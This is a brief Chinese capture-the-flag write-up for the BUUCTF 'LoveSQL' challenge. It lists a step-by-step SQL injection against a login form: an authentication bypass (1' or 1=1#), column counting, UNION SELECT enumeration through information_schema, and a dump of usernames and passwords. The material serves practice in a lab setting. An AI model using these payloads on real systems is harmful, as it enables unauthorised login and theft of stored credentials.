buuctf-[极客大挑战 2019]LoveSQL1（小宇特详解）

buuctf-[极客大挑战 2019]LoveSQL1（小宇特详解）

1.这里有账号和密码，这里先尝试一下万能密码（在账号那里注入）

1' or 1=1#

密码随便

这里继续进行注入，判断有几列

1' order by 3;#

这里试一试4

1' order by 4;#

这里通过union联合查询

1' union select 1,2,3;#

这里的2，3都是注入点

这里开始按部就班的注入吧

1' union select 1,2,database();#

1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database();#

1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1';#

1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1;#